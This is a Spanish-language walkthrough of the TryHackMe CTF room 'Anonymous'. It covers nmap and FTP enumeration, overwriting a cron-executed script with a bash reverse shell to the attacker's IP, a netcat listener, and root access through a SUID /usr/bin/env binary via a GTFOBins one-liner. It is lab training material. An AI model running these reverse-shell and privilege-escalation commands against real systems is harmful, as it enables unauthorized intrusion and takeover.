En esta guía vamos a trabajar con la máquina Anonymous disponible en THM, un CTF de dificultad media creado por Nameless0ne en el que pondremos en práctica técnicas de enumeración y escalado de privilegios entre otras curiosidades.
Dentro música.
Inicio
Disclaimer: algunos de estos primeros pasos que menciono a continuación son opcionales y solo reflejan mi modo de trabajar. Cada uno debería aplicar el propio.
Lo primero es conectar nuestra máquina local con THM via VPN para poder atacar desde nuestro equipo a la máquina del room.
1
2
┌──(ewan67㉿kali)-[~]
└─$ sudo openvpn /home/ewan67/VPN_certs/THM_ewan67.ovpn
Iniciamos la máquina remota dando al botón Start Machine
Abrimos otro terminal en local, creamos la carpeta de trabajo, nos posicionamos en ella y creamos un fichero de notas en el que iremos apuntando información relevante a lo largo del proceso. En mi caso:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(ewan67㉿kali)-[~]
└─$ cd Cybersecurity/THM
┌──(ewan67㉿kali)-[~/Cybersecurity/THM]
└─$ mkdir Anonymous
┌──(ewan67㉿kali)-[~/Cybersecurity/THM]
└─$ cd Anonymous
┌──(ewan67㉿kali)-[~/Documents/Cybersecurity/THM/Anonymous]
└─$ touch notas
┌──(ewan67㉿kali)-[~/Documents/Cybersecurity/THM/Anonymous]
└─$ echo "Notas Anonymous" > notas
┌──(ewan67㉿kali)-[~/Documents/Cybersecurity/THM/Anonymous]
└─$ cat notas
Notas Anonymous
Reconocimiento & Enumeración
Empezamos enumerando el server con nmap.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
┌──(ewan67㉿kali)-[~/Documents/Cybersecurity/THM/Anonymous]
└─$ nmap -A 10.10.139.26 -oN nmap_output
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-16 23:23 CEST
Nmap scan report for 10.10.139.26
Host is up (0.074s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx 2 111 113 4096 Jun 04 2020 scripts [NSE: writeable]
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.18.xx.xx
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8b:ca:21:62:1c:2b:23:fa:6b:c6:1f:a8:13:fe:1c:68 (RSA)
| 256 95:89:a4:12:e2:e6:ab:90:5d:45:19:ff:41:5f:74:ce (ECDSA)
|_ 256 e1:2a:96:a4:ea:8f:68:8f:cc:74:b8:f0:28:72:70:cd (ED25519)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: ANONYMOUS; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 0s, deviation: 1s, median: 0s
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
|_nbstat: NetBIOS name: ANONYMOUS, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2022-08-16T21:23:24
|_ start_date: N/A
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
| Computer name: anonymous
| NetBIOS computer name: ANONYMOUS\x00
| Domain name: \x00
| FQDN: anonymous
|_ System time: 2022-08-16T21:23:24+00:00
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.20 seconds
Significado de las flags:
-A
: escaneo completo (ejecuta OS detection, version detection, script scanning y traceroute)-oN
: imprime la salida en un fichero de texto con el nombre nmap_output
nmap nos cuenta que tenemos 4 puertos abiertos:
- 21/tcp: con un servicio ftp soportado por vsftpd 2.0.8 or later y con Anonymous FTP login allowed
- 22/tcp: con un servicio ssh soportado por OpenSSH 7.6p1 Ubuntu
- 139/tcp: con un servicio netbios-ssn soportado por Samba smbd 3.X - 4.X
- 445/tcp: con un servicio netbios-ssn soportado por Samba smbd 4.7.6-Ubuntu
Bien. Arrancamos por el ftp a ver qué nos encontramos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
┌──(ewan67㉿kali)-[~/Documents/Cybersecurity/THM/Anonymous]
└─$ ftp 10.10.139.26
Connected to 10.10.139.26.
220 NamelessOne's FTP Server!
Name (10.10.139.26:ewan67): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||5755|)
150 Here comes the directory listing.
drwxrwxrwx 2 111 113 4096 Jun 04 2020 scripts
226 Directory send OK.
ftp> cd scripts
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||20542|)
150 Here comes the directory listing.
-rwxr-xrwx 1 1000 1000 314 Jun 04 2020 clean.sh
-rw-rw-r-- 1 1000 1000 1204 Aug 16 21:30 removed_files.log
-rw-r--r-- 1 1000 1000 68 May 12 2020 to_do.txt
226 Directory send OK.
ftp> get clean.sh
local: clean.sh remote: clean.sh
229 Entering Extended Passive Mode (|||48372|)
150 Opening BINARY mode data connection for clean.sh (314 bytes).
100% |*************************************************************************************************************************| 314 325.52 KiB/s 00:00 ETA
226 Transfer complete.
314 bytes received in 00:00 (6.01 KiB/s)
ftp> get removed_files.log
local: removed_files.log remote: removed_files.log
229 Entering Extended Passive Mode (|||65327|)
150 Opening BINARY mode data connection for removed_files.log (1204 bytes).
100% |*************************************************************************************************************************| 1204 913.58 KiB/s 00:00 ETA
226 Transfer complete.
1204 bytes received in 00:00 (27.84 KiB/s)
ftp> get to_do.txt
local: to_do.txt remote: to_do.txt
229 Entering Extended Passive Mode (|||16320|)
150 Opening BINARY mode data connection for to_do.txt (68 bytes).
100% |*************************************************************************************************************************| 68 1.16 KiB/s 00:00 ETA
226 Transfer complete.
68 bytes received in 00:00 (0.67 KiB/s)
ftp> exit
221 Goodbye.
Hemos encontrado un directorio scripts
, hemos entrado, listado su contenido y descargado con get <file_name>
los ficheros que allí estaban a nuestro directorio de trabajo.
Los abrimos en local y les echamos un ojo.
clean.sh
: es un script para limpiar la carpeta /tmp del servidor. Cada vez que se ejecuta revisa el número de ficheros en el directorio; si es 0, graba un mensaje enremoved_files.log
; si no es 0, elimina el fichero y graba un mensaje enremoved_files.log
.removed_files.log
: es el fichero de logs del script anterior.to_do.txt
: sin comentarios.
La cuestión aquí es saber quién ejecuta clean.sh
y cuándo. Será una tarea programada ? De ser así, en el tiempo que llevamos elucubrando, se habrá vuelto a ejecutar ? Nos dará alguna información removed_files.log
.
Para salir de dudas renombramos el removed_files.log
que nos descargamos
1
2
┌──(ewan67㉿kali)-[~/Documents/Cybersecurity/THM/Anonymous]
└─$ mv removed_files.log removed_files2.log
Volvemos a descargarlo desde el FTP y contamos las lineas de cada uno
1
2
3
4
5
6
7
┌──(ewan67㉿kali)-[~/Documents/Cybersecurity/THM/Anonymous]
└─$ cat cat removed_files2.log | wc -l
28
┌──(ewan67㉿kali)-[~/Documents/Cybersecurity/THM/Anonymous]
└─$ cat cat removed_files.log | wc -l
50
OK. El script clean.sh
está asociado a una tarea programada. Si modificamos el contenido del fichero, lo subimos via FTP y esperamos a que se ejecute, estaremos ejecutando nuestro código en el servidor. Por ejemplo: una reverse shellcode para que se conecte a nuestro equipo.
Googleamos y encontramos lo que estamos buscando aquí
1
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
Modificamos el contenido de clean.sh
.
1
2
#!/bin/bash
bash -i >& /dev/tcp/<nuestra_IP>/4321 0>&1
Iniciamos un netcat
1
2
┌──(ewan67㉿kali)-[~/Documents/Cybersecurity/THM/Anonymous]
└─$ nc -lvnp 4321
Significado de las flags:
-l
: listen mode.-v
: verbose.-n
: solo IP numéricas, no DNS.-p
: nro de puerto local.
Subimos nuestro fichero modificado al ftp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(ewan67㉿kali)-[~/Documents/Cybersecurity/THM/Anonymous]
└─$ ftp 10.10.139.26
Connected to 10.10.139.26.
220 NamelessOne's FTP Server!
Name (10.10.139.26:ewan67): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd scripts
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||44503|)
150 Here comes the directory listing.
-rwxr-xrwx 1 1000 1000 314 Jun 04 2020 clean.sh
-rw-rw-r-- 1 1000 1000 3225 Aug 16 22:17 removed_files.log
-rw-r--r-- 1 1000 1000 68 May 12 2020 to_do.txt
226 Directory send OK.
ftp> put clean.sh
local: clean.sh remote: clean.sh
229 Entering Extended Passive Mode (|||58560|)
150 Ok to send data.
100% |*************************************************************************************************************************| 55 274.03 KiB/s 00:00 ETA
226 Transfer complete.
55 bytes sent in 00:00 (0.73 KiB/s)
ftp>
Y esperamos a que se ejecute …..
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
┌──(ewan67㉿kali)-[~/Documents/Cybersecurity/THM/Anonymous]
└─$ nc -lvnp 4321
listening on [any] 4321 ...
connect to [10.18.xx.xx] from (UNKNOWN) [10.10.139.26] 59858
bash: cannot set terminal process group (1529): Inappropriate ioctl for device
bash: no job control in this shell
namelessone@anonymous:~$
namelessone@anonymous:~$ ls -la
ls -la
total 60
drwxr-xr-x 6 namelessone namelessone 4096 May 14 2020 .
drwxr-xr-x 3 root root 4096 May 11 2020 ..
lrwxrwxrwx 1 root root 9 May 11 2020 .bash_history -> /dev/null
-rw-r--r-- 1 namelessone namelessone 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 namelessone namelessone 3771 Apr 4 2018 .bashrc
drwx------ 2 namelessone namelessone 4096 May 11 2020 .cache
drwx------ 3 namelessone namelessone 4096 May 11 2020 .gnupg
-rw------- 1 namelessone namelessone 36 May 12 2020 .lesshst
drwxrwxr-x 3 namelessone namelessone 4096 May 12 2020 .local
drwxr-xr-x 2 namelessone namelessone 4096 May 17 2020 pics
-rw-r--r-- 1 namelessone namelessone 807 Apr 4 2018 .profile
-rw-rw-r-- 1 namelessone namelessone 66 May 12 2020 .selected_editor
-rw-r--r-- 1 namelessone namelessone 0 May 12 2020 .sudo_as_admin_successful
-rw-r--r-- 1 namelessone namelessone 33 May 11 2020 user.txt
-rw------- 1 namelessone namelessone 7994 May 12 2020 .viminfo
-rw-rw-r-- 1 namelessone namelessone 215 May 13 2020 .wget-hsts
namelessone@anonymous:~$ cat user.txt
cat user.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
namelessone@anonymous:~$
Bien, tenemos la flag de user. A por la de root.
Escalado de privilegios
Tiramos por los clásicos y buscamos enumerar binarios con el bit SUID activado.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
┌──(ewan67㉿kali)-[~/Documents/Cybersecurity/THM/Anonymous]
└─$ namelessone@anonymous:~$ find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
< -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
-rwsr-xr-x 1 root root 40152 Oct 10 2019 /snap/core/8268/bin/mount
-rwsr-xr-x 1 root root 44168 May 7 2014 /snap/core/8268/bin/ping
-rwsr-xr-x 1 root root 44680 May 7 2014 /snap/core/8268/bin/ping6
-rwsr-xr-x 1 root root 40128 Mar 25 2019 /snap/core/8268/bin/su
-rwsr-xr-x 1 root root 27608 Oct 10 2019 /snap/core/8268/bin/umount
-rwsr-xr-x 1 root root 71824 Mar 25 2019 /snap/core/8268/usr/bin/chfn
-rwsr-xr-x 1 root root 40432 Mar 25 2019 /snap/core/8268/usr/bin/chsh
-rwsr-xr-x 1 root root 75304 Mar 25 2019 /snap/core/8268/usr/bin/gpasswd
-rwsr-xr-x 1 root root 39904 Mar 25 2019 /snap/core/8268/usr/bin/newgrp
-rwsr-xr-x 1 root root 54256 Mar 25 2019 /snap/core/8268/usr/bin/passwd
-rwsr-xr-x 1 root root 136808 Oct 11 2019 /snap/core/8268/usr/bin/sudo
-rwsr-xr-- 1 root systemd-resolve 42992 Jun 10 2019 /snap/core/8268/usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 428240 Mar 4 2019 /snap/core/8268/usr/lib/openssh/ssh-keysign
-rwsr-sr-x 1 root root 106696 Dec 6 2019 /snap/core/8268/usr/lib/snapd/snap-confine
-rwsr-xr-- 1 root dip 394984 Jun 12 2018 /snap/core/8268/usr/sbin/pppd
-rwsr-xr-x 1 root root 40152 Jan 27 2020 /snap/core/9066/bin/mount
-rwsr-xr-x 1 root root 44168 May 7 2014 /snap/core/9066/bin/ping
-rwsr-xr-x 1 root root 44680 May 7 2014 /snap/core/9066/bin/ping6
-rwsr-xr-x 1 root root 40128 Mar 25 2019 /snap/core/9066/bin/su
-rwsr-xr-x 1 root root 27608 Jan 27 2020 /snap/core/9066/bin/umount
-rwsr-xr-x 1 root root 71824 Mar 25 2019 /snap/core/9066/usr/bin/chfn
-rwsr-xr-x 1 root root 40432 Mar 25 2019 /snap/core/9066/usr/bin/chsh
-rwsr-xr-x 1 root root 75304 Mar 25 2019 /snap/core/9066/usr/bin/gpasswd
-rwsr-xr-x 1 root root 39904 Mar 25 2019 /snap/core/9066/usr/bin/newgrp
-rwsr-xr-x 1 root root 54256 Mar 25 2019 /snap/core/9066/usr/bin/passwd
-rwsr-xr-x 1 root root 136808 Jan 31 2020 /snap/core/9066/usr/bin/sudo
-rwsr-xr-- 1 root systemd-resolve 42992 Nov 29 2019 /snap/core/9066/usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 428240 Mar 4 2019 /snap/core/9066/usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 110792 Apr 10 2020 /snap/core/9066/usr/lib/snapd/snap-confine
-rwsr-xr-- 1 root dip 394984 Feb 11 2020 /snap/core/9066/usr/sbin/pppd
-rwsr-xr-x 1 root root 26696 Mar 5 2020 /bin/umount
-rwsr-xr-x 1 root root 30800 Aug 11 2016 /bin/fusermount
-rwsr-xr-x 1 root root 64424 Jun 28 2019 /bin/ping
-rwsr-xr-x 1 root root 43088 Mar 5 2020 /bin/mount
-rwsr-xr-x 1 root root 44664 Mar 22 2019 /bin/su
-rwsr-xr-x 1 root root 100760 Nov 23 2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
-rwsr-xr-- 1 root messagebus 42992 Jun 10 2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-sr-x 1 root root 109432 Oct 30 2019 /usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root root 14328 Mar 27 2019 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 436552 Mar 4 2019 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 59640 Mar 22 2019 /usr/bin/passwd
-rwsr-xr-x 1 root root 35000 Jan 18 2018 /usr/bin/env
-rwsr-xr-x 1 root root 75824 Mar 22 2019 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 37136 Mar 22 2019 /usr/bin/newuidmap
-rwsr-xr-x 1 root root 40344 Mar 22 2019 /usr/bin/newgrp
-rwsr-xr-x 1 root root 44528 Mar 22 2019 /usr/bin/chsh
-rwsr-xr-x 1 root root 37136 Mar 22 2019 /usr/bin/newgidmap
-rwsr-xr-x 1 root root 76496 Mar 22 2019 /usr/bin/chfn
-rwsr-xr-x 1 root root 149080 Jan 31 2020 /usr/bin/sudo
-rwsr-xr-x 1 root root 18448 Jun 28 2019 /usr/bin/traceroute6.iputils
-rwsr-sr-x 1 daemon daemon 51464 Feb 20 2018 /usr/bin/at
-rwsr-xr-x 1 root root 22520 Mar 27 2019 /usr/bin/pkexec
Tenemos /usr/bin/env
a nuestra disposición. Nos vamos a GTFOBins, buscamos por env y le damos a la cajita que pone suid.
Leemos la entrada y nos quedamos con que lo que debemos ejecutar es:
1
/usr/bin/env /bin/sh -p
Vamos a ello.
1
2
3
4
5
6
7
8
9
namelessone@anonymous:~$ /usr/bin/env /bin/sh -p
/usr/bin/env /bin/sh -p
whoami
root
cd /root
ls
root.txt
cat root.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Bien, tenemos la flag de root.
Hasta aquí la guía para resolver el room. Espero que os haya resultado útil.
Saludos.